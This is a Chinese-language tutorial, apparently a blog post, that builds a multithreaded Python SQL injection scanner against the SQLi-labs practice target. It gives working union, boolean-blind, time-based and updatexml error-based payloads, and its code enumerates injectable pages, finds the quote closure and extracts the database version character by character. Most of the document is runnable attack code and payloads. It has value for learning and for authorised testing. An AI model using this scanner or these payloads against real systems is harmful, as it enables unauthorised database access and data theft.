前言:
使用 SQLlib 当目标靶机:
检测实现的原理
注入有很多种有基于返回信息的注入,基于返回的报错注入,基于页面显示的注入,基于时间的注入
本次主要检测注入类型
手动检测
下面手动演示
Union联合注入
在自动检测的时候尽量先手动的进行检测报错以确认目标闭合的条件和是否可进行返回等信息
如下图所示输入 id=1 是正常显示
当输入 id=1'的时候会进行保存 ''1'' LIMIT 0,1'是时候可以对报错信息进行拆分
拆分流程
''1'' LIMIT 0,1' #首先去掉两边的 单引号 '
'1'' LIMIT 0,1 #这时候可以弹道 ’1‘‘ 多了一个单引号而这个多出的单引号就是我们是输入的 可以看到目标是以'单引号闭合
#这时候就可以对语句进行猜测
比如 :
select id,username,password from user where id='1' #这样的语句这时候我们可以对在这些语句自定义来实现我们想要的结果
拆分之后自定义报错信息语句,之后我们就可以搞事
#比如 排序 可以根据报错来判断有几列
/Less-1/?id=1' order by 3--+
#构建不存在的语句 来使我们的查询信息返回
/Less-1/?id=-1' union select 1,user(),database() --+
关于联合查询可以根据页面返回的信息来进行来判断有没有存在注入漏洞
手工函数BOOL注入
为什么需要布尔注入: 有些网页可能执行了sql 语句但是在输出的时候并不显示。测试这些万能代码就是 找到闭合符号 然后 and true 正确显示 and False 消失不见 可以根据这一点来判断基本的闭合 和注入的利用,值得注意的是盲注 因为不知道信息所以在获取内容的时候只能一位一位匹配,并根据网页变化证明是否存在注入,这一点和时间盲注是一样的
1= true 0=false
函数的报错
函数汇总:
1.floor()
2.extractvalue()
3.updatexml() updatexml(目标xml文档,xml路径,更新的内容)
4.exp()
本次用到了 Updatexml,有三个参数把 路径参数给换成0x7e = ~ 肯定为不存在的路径 所以一定会报错,注意在输出信息的时候长度会被限制在32个字符
使用到的库:
import requests #用于发起请求
import threading #多线程注入
import logging #Debug 模块
import datetime #对基于时间的返回注入很有用
import math
import re #正则匹配网页用到
查找目标有多少网页
!可以在主网页下查找页面内的连接 然后进行筛选即可,为了方便就先以这种方法写
#选项二 拆解 URL的get 请求
#numrange 是查找的范围 /Less-1/?id=-1' /Less-2/?id=-1'
#根据返回来判断网页是否存在
def SearchUrl(self,url,numrange):
self.__Urls = []
threads = []
for i in range(numrange):
#test_net 测试这个网页是否存在 简单的request.get
if self.test_net(url.format(i)):
self.__Urls.append(url.format(i))
logger.info(f"发现目标:{len(self.__Urls)}-{self.__Urls}")
#这里开始就是识别类型部分
m_urllist = []
#开始使用
for i in self.__Urls:
#judgetype 函数盘进行判断
th1 = MyThread(self.__judgetype,args=(i,))
th1.start()
threads.append(th1)
for i in threads:
i.join()
m_urllist.append(i.get_result())
#返回类型{'url': 'http://192.168.2.30/Less-1/?id=1', 'btype': "1'", 'Time': True, 'Bool': True, 'Func': True, 'UNion': '?'}
logger.info(m_urllist)
return m_urllist
识别类型
在上面看到返回值的类型 {'url': 'http://192.168.2.30/Less-1/?id=1', 'btype': "1'", 'Time': True, 'Bool': True, 'Func': True, 'UNion': '?'}
为什么Union是?呢 因为Union本地识别有些时候不太可靠
识别时间盲注
注意:在时间盲注的时候尽量开少的线程 因为。时间盲注是数据库执行Sleep语句。如果线程多,测试返回数据就会不稳定。本地实验5个线程稳定
#处理时间 响应 因为单个肯定阻塞 所以准备多线程、或者多进程处理
def __time_response(self,url):
for i in injector_time:
m_response = requests.get(url=(url+i))
logger.info(f"url:{url+i}-时间:{m_response.elapsed.total_seconds()}")
if m_response.elapsed.total_seconds() >=_time_reponse:
#如果返回的时间大于等于 设定的时间 _time_reponse=3 就添加self.__times列表里
self.__times.append(
{"url":url+i,
"time":m_response.elapsed.total_seconds()
}
)
return True
#判断是否可以进行Time型注入
def __judge_Time(self,url,B_type)->bool:
newurl = url[:-1]+B_type
threads = []
#传进来如果是列表就 走列表路线
if type(url)==list:
for j in url:
t1 = threading.Thread(target=self.__time_response, args=(newurl,))
t1.start()
threads.append(t1)
#否则一律视为单个路线
else:
t1 = threading.Thread(target=self.__time_response,args=(newurl,))
t1.start()
threads.append(t1)
#哦 在这停顿
[i.join() for i in threads]
#如果里面有值就说明OK
if self.__times:
logger.info(f"存在时间注入{url}")
self.__times=[]
return True
return False
识别BOOL盲注
请求页面获取未变化的数据,然后向网站请求数据如果有影响,(文本的大小,或者文本长度发生改变)就可以基本判定有注入
比如 and 1=1 页面正常 显示 and 1=2 无显示 就可以使用BOOL盲注
#判断是否可以进行bool型注入 返回一个版本信息
def __judge_Bool(self,url,B_type)->bool:
#记录没有数据的长度
Baselen = len(self.GetUrl_Txt(url=url[:-1]+B_type+" and 1=2 --+"))
newurl = url[:-1]+B_type
# 有注入点就获取 版本的信息
# 1. 首先获取 版本的字长
verlen = 0
versionlis = []
for i in range(1,100):
#如果不相等很大可能就返回了信息
if Baselen != len(self.GetUrl_Txt(url=newurl+f" and (length(version()))={i}--+")):
verlen = i
break
#如果小于3就不往下走了 版本不对
if verlen <3:
return False
#根据上面算出来的信息 来按字节获取信息
for j in range(1,verlen+1):
#injectorbool 存储了用到的 ASCII码 1-9 A-9 . 等符号
for a in injector_bool:
#urla = url + f" and ascii((substr(version(),{j},1)))={a} --+"
if Baselen != len(self.GetUrl_Txt(url=newurl + f" and ascii((substr(version(),{j},1)))={a} --+")):
versionlis.append(chr(a))
break
Boolresult = "".join(versionlis)
if Boolresult :
logger.info((f"发现注入Bool注入:" + "版本:"+"".join(versionlis)+":"+ f"{newurl}"))
return True
else:
return False
函数注入
函数报错注入和布尔一样 但是函数是根据MYSQL 在报错的时候把报错信息输出显示的
#判断是否可以函数注入
def __judge_func(self,url,B_type):
new_url = url[:-1]+B_type
#logger.info("函数报错传入URL:"+new_url)
#标准Ok模板
basetxt = self.GetUrl_Txt(url=new_url)
#是否有注入点 true 有 False 无
code = False
for i in injector_func:
#如果不相等就代表有注入点
Errindex = self.GetUrl_Txt(url=new_url+ i)
if basetxt != Errindex and re.findall("(~)",Errindex):
code = True
logger.info("函数报错:"+url[:-1]+B_type+i)
return code
主要识别函数
分别调用模块化的其他识别函数 其他函数 如果返回了True 就代表有注入将当前的符号 加入types = []列表中 然后计算这个符号在列表中的个数如果>=2就确定这个是闭合的符号
#识别类型 为了保证识别率 我测试了 三个 如果 types 返回两个相同的 就是正确的 并填写相应的数据
def __judgetype(self,url)->dict:
types=[]
MSG = {"url":None,"btype":None,"Time":None,"Bool":None,"Func":None,"UNion":None}
#injector_type = ['1', "1'", "1')", '1"', '1")', '1"))']
for i in injector_type:
#基于时间
if self.__judge_Time(url=url,B_type=i)==True:
MSG["Time"] = True
types.append(i)
#基于布尔
if self.__judge_Bool(url=url,B_type=i)==True:
MSG["Bool"] = True
types.append(i)
#基于 函数
if self.__judge_func(url=url,B_type=i)==True:
MSG["Func"] = True
types.append(i)
for i in types:
if types.count(i)>=2:
MSG["btype"] = i
MSG["url"] = url
MSG["UNion"] = "?"
return MSG